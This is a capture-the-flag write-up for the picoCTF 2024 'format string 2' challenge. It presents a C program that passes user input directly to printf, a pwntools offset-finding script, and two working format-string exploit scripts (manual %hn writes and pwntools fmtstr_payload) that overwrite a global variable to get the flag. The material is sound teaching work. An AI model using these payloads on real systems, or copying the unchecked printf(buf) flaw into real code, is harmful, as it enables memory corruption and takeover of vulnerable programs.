Skip to content

Latest commit

 

History

History
263 lines (196 loc) · 8.09 KB

format_string_2.md

File metadata and controls

263 lines (196 loc) · 8.09 KB

format string 2

Challenge information

Level: Medium
Tags: picoCTF 2024, Binary Exploitation, format_string, browser_webshell_solvable
Author: SKRUBLAWD

Description:
This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack. 
To impress this program you must change data on the stack!

Download the binary here.
Download the source here.

Connect with the challenge instance here:
nc rhea.picoctf.net 57654
 
Hints:
1. pwntools are very useful for this problem!

Challenge link: https://play.picoctf.org/practice/challenge/448

Solution

Analyse the C file

As usual, we start by analysing the C source code.

#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];


  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

The program does the following:

  • Prints some greeting text and ask us for input
  • Reads 1024 bytes of input, stores it in buf and prints the buffer
  • Checks if sus has changed to flag (from the initial sus!) then reads and prints the flag
  • Else prints the hex-value of sus and ask us to do better

Get the input offset

The offset of our input can be found manually by inputting a known string (ABCDEFGH) followed by a long string of items of the form <offset>:%p<delimiter>. Here I have used pipes (|) as delimiter.

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/format_string_2]
└─$ python -c "print('ABCDEFGH|' + '|'.join(['%d:%%p' % i for i in range(1,20)]))" | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: ABCDEFGH|1:0x7fff00ef1480|2:(nil)|3:(nil)|4:0xa|5:0x400|6:0x7f33152777b0|7:0x7f33152a9ab0|8:0x7fff00ef1760|9:0x7f3315280fc8|10:0x1|11:0x7fff00ef1790|12:(nil)|13:0x7f3315277ca8|14:0x4847464544434241|15:0x3a327c70253a317c|16:0x7c70253a337c7025|17:0x253a357c70253a34|18:0x377c70253a367c70|19:0x70253a387c70253a
sus = 0x21737573
You can do better!

Offset 14 looks promising and is indeed the ASCII-version of our input (in reverse order due to endianness).

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/format_string_2]
└─$ echo '4847464544434241' | xxd -r -p | rev
ABCDEFGH 

We can also write a small python script with the help of pwntools to find the offset for us

#!/usr/bin/python

from pwn import *

SERVER = 'rhea.picoctf.net'
PORT = 57654
MY_INPUT = 'ABCDEFGH'

# Set output level (critical, error, warning, info, debug)
context.update(log_level = "warning")

for i in range(1, 25):
    io = remote(SERVER, PORT)
    log.info(f"\n---------- Trying offset {i} ----------\n")
    io.sendlineafter(b"What do you have to say?\n", f"{MY_INPUT}%{i}$lx".encode('ascii'))
    out = io.recvlineS().split(':')[1].strip()[8:]
    log.info(f"Parsed output: {out}\n")
    try:
        # Little endian case
        res_le = p64(int(out, 16), endianness="little").decode()
        log.debug(f"Little endian value: {res_le}\n")
        if (res_le == MY_INPUT):
            print(f"Found start of input ({MY_INPUT}) with little endian at offset {i}")
        # Big endian case
        res_be = p64(int(out, 16), endianness="big").decode()
        log.debug(f"Big endian value: {res_be}\n")
        if (res_be == MY_INPUT):
            print(f"Found start of input ({MY_INPUT}) with big endian at offset {i}")
    except Exception:
        pass
    io.recvall()
    io.close()

We run the script to get the offset

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/format_string_2]
└─$ ~/python_venvs/pwntools/bin/python find_offset.py
Found start of input (ABCDEFGH) with little endian at offset 14

We confirm that the input starts at offset 14.

Get the flag - scripted solution

Next we create an exploitation script where we divide the writing of the goal value in two parts and adjust the offset due to additional data before the target addresses we write to. We write the upper part first since it's smaller than the lower part. We also make sure that the target addresses are aligned in memory.

#!/usr/bin/python

from pwn import *

SERVER = 'rhea.picoctf.net'
PORT = 57654

exe = context.binary = ELF('./vuln', checksec=False)

target = exe.symbols.sus
goal_value = 0x67616c66
offset = 14

# Set output level (critical, error, warning, info, debug)
context.log_level = "info"

upper_goal = (goal_value >> 16) & 0xFFFF
lower_goal = goal_value & 0xFFFF

lower_address = p64(target)
upper_address = p64(target+2)

payload = f'%{upper_goal}c'.encode() # Padding
payload += f'%{offset+4}$hn'.encode() # Format string for upper half
payload += f'%{lower_goal - upper_goal}c'.encode() # More padding
payload += f'%{offset+5}$hn'.encode() # Format string for lower half
payload += (8 - (len(payload) % 8)) * b'_' # Aligment
payload += upper_address
payload += lower_address

io = remote(SERVER, PORT)
io.sendlineafter(b'What do you have to say?\n', payload)
io.recvline()
print(io.recvallS())
io.close()

When running the script we get the flag

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/format_string_2]
└─$ ~/python_venvs/pwntools/bin/python get_flag.py
[+] Opening connection to rhea.picoctf.net on port 57654: Done
[+] Receiving all data: Done (110B)
[*] Closed connection to rhea.picoctf.net port 57654
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{<REDACTED>}

Get the flag - automated solution

We can also automate the entire process with pwntools format string tools

#!/usr/bin/python

from pwn import *

SERVER = 'rhea.picoctf.net'
PORT = 57654

exe = context.binary = ELF('./vuln', checksec=False)

target = exe.symbols.sus
goal_value = 0x67616c66

# Set output level (critical, error, warning, info, debug)
context.log_level = "warning"

def exec_fmt(payload):
    p = remote(SERVER, PORT)
    p.sendline(payload)
    return p.recvall()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

payload = fmtstr_payload(offset, {target: goal_value})

io = remote(SERVER, PORT)    
io.sendlineafter(b'What do you have to say?\n', payload)
io.recvline()
print(io.recvallS())
io.close()

Then we just run the script to get the flag

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/format_string_2]
└─$ ~/python_venvs/pwntools/bin/python get_flag2.py
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{<REDACTED>}

For additional information, please see the references below.

References